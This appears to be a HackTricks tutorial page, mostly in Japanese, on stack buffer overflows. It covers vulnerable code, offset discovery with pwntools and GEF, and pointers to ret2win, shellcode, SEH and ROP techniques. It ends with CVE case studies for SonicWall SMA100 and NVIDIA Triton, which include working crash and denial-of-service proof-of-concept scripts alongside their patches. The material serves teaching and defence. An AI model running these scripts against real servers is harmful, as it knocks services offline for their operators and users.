Stack Overflow

Reading time: 14 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Stack Overflowとは

A stack overflow is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will 隣接するメモリ領域を上書きし、有効なデータの破損、制御フローの破壊、そして場合によっては悪意あるコードの実行につながる可能性があります。 この問題は、入力に対して境界チェックを行わない安全でない関数の使用により発生することがよくあります。

この上書きの主な問題は、前の関数に戻るための saved instruction pointer (EIP/RIP)saved base pointer (EBP/RBP)stack 上に保存されていることです。したがって、攻撃者はそれらを上書きして プログラムの実行フローを制御できるようになります。

この脆弱性は通常、関数が stack 内に割り当てられた量より多くのバイトをコピーしてしまう ことにより発生し、結果として stack の他の部分を上書きできてしまいます。

この脆弱性の原因になりやすい一般的な関数には strcpy, strcat, sprintf, gets などがあります。 また、fgets, read & memcpy のように 長さ引数(length argument) を取る関数も、指定された長さが割り当てより大きいと脆弱な使い方になる可能性があります。

例えば、次の関数は脆弱である可能性があります:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Finding Stack Overflows offsets

Stack overflowを見つける最も一般的な方法は、非常に大きなAの入力を与えること(例: python3 -c 'print("A"*1000)')で、Segmentation Faultが発生し、アドレス 0x41414141 にアクセスしようとしたことが示されることを期待することです。

さらに、Stack Overflowの脆弱性があるとわかったら、リターンアドレスを上書きできるようになるまでのオフセットを見つける必要があります。これには通常De Bruijn sequenceが使われます。これは、アルファベットのサイズが_k_で部分列の長さが_n_の場合、長さ_n_のあらゆる部分列がちょうど一度ずつ連続した部分列として現れる循環列です。

この方法を使えば、どのオフセットが手作業でEIPを制御するために必要かを突き止める代わりに、これらのシーケンスの一つをパディングとして使い、それを上書きしたバイトのオフセットを特定できます。

これにはpwntoolsを使うことができます:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

または GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Stack Overflows の悪用

オーバーフローが発生した場合(サイズが十分大きいと仮定すると)、スタック内のローカル変数の値を上書きして保存された EBP/RBP and EIP/RIP (or even more) に到達するまで可能です。
この種の脆弱性を悪用する最も一般的な方法は、リターンアドレスを変更することで、関数が終了したときに コントロールフローがこのポインタでユーザが指定した場所へリダイレクトされる ようにすることです。

しかし、別のシナリオではスタック上のいくつかの変数の値を上書きするだけでエクスプロイトが成立する場合もあります(簡単な CTF チャレンジなど)。

Ret2win

この種の CTF チャレンジでは、バイナリ内部に決して呼ばれない関数が存在し、それを呼び出すことで勝利できるようになっています。これらのチャレンジでは、リターンアドレスを上書きするためのオフセットと呼び出す関数のアドレスを見つければ十分です(通常 ASLR は無効になっていることが多い)。脆弱な関数がリターンすると、隠された関数が呼び出されます:

Ret2win

Stack Shellcode

このシナリオでは、攻撃者はスタックに shellcode を置き、制御された EIP/RIP を利用して shellcode にジャンプし任意のコードを実行できます:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

32-bit Windows では、オーバーフローが保存されたリターンアドレスの代わりに Structured Exception Handler (SEH) チェーンを上書きすることがあります。エクスプロイトでは通常、SEH ポインタを POP POP RET ガジェットに置き換え、4 バイトの nSEH フィールドを短いジャンプに使って shellcode がある大きなバッファへピボットします。一般的なパターンとしては、nSEH の短い jmp が nSEH の直前に置かれた 5 バイトの near jmp に着地し、ペイロードの開始位置へ数百バイト戻る、というものです。

Windows Seh Overflow

ROP & Ret2... techniques

この手法は前述の保護、すなわち No executable stack (NX) を回避するための基本的なフレームワークです。また、既存の命令を悪用して任意コマンドを実行する ret2lib や ret2syscall といった他の手法を実行することも可能にします:

ROP - Return Oriented Programing

Heap Overflows

オーバーフローは必ずしもスタックに発生するとは限らず、例えば heap に発生することもあります:

Heap Overflow

Types of protections

脆弱性の悪用を防ぐためのいくつかの保護機構が存在します。詳細は以下を確認してください:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

なぜ sscanf を信頼して未検証の入力を解析してはならないか の良い実例が、2025 年に SonicWall の SMA100 SSL-VPN アプライアンスで発生しました。/usr/src/EasyAccess/bin/httpd 内の脆弱なルーチンは、/__api__/ で始まる URI からバージョンとエンドポイントを抽出しようとします:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. 最初の変換 (%2s) は version に安全に 2 バイトを格納します(例: "v1")。
  2. 2番目の変換 (%s) は 長さ指定子がありません。したがって sscanf最初の NUL バイトまで コピーし続けます。
  3. endpointstack 上にあり、サイズが 0x800 bytes long であるため、長さが 0x800 バイトを超えるパスを与えると、バッファの後にあるすべて(stack canarysaved return address を含む)が破損します。

単一行の proof-of-concept で、認証前 にクラッシュを引き起こすのに十分です:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:

  • Always provide a maximum field width (e.g. %511s).
  • Prefer safer alternatives such as snprintf/strncpy_s.

Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple stack-based overflows reachable through its HTTP API. The vulnerable pattern repeatedly appeared in http_server.cc and sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) は現在の HTTP リクエストボディを構成する内部バッファセグメントのを返します。
  2. 各セグメントは alloca() を介してstack上に16-byteevbuffer_iovecを割り当てさせます — 上限がありません
  3. クライアントがHTTP chunked transfer-encodingを悪用すると、リクエストを何十万もの6-byteチャンク"1\r\nA\r\n")に分割させることができます。これにより、nstack が枯渇するまで無制限に増加します。

概念実証 (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

約3 MBのリクエストで、保存された戻りアドレスを書き換え、デフォルトビルドのデーモンをcrashさせるのに十分です。

パッチと緩和策

25.07リリースでは、安全でないスタック割り当てを**heap-backed std::vector**に置き換え、std::bad_allocを適切に処理します:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

教訓:

  • 攻撃者が制御するサイズで alloca() を呼び出してはいけない。
  • Chunked requests はサーバー側のバッファの形状を大きく変える可能性がある。
  • クライアント入力から派生した値は、メモリ割り当てで使用する前に検証 / 上限設定を行うこと。

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする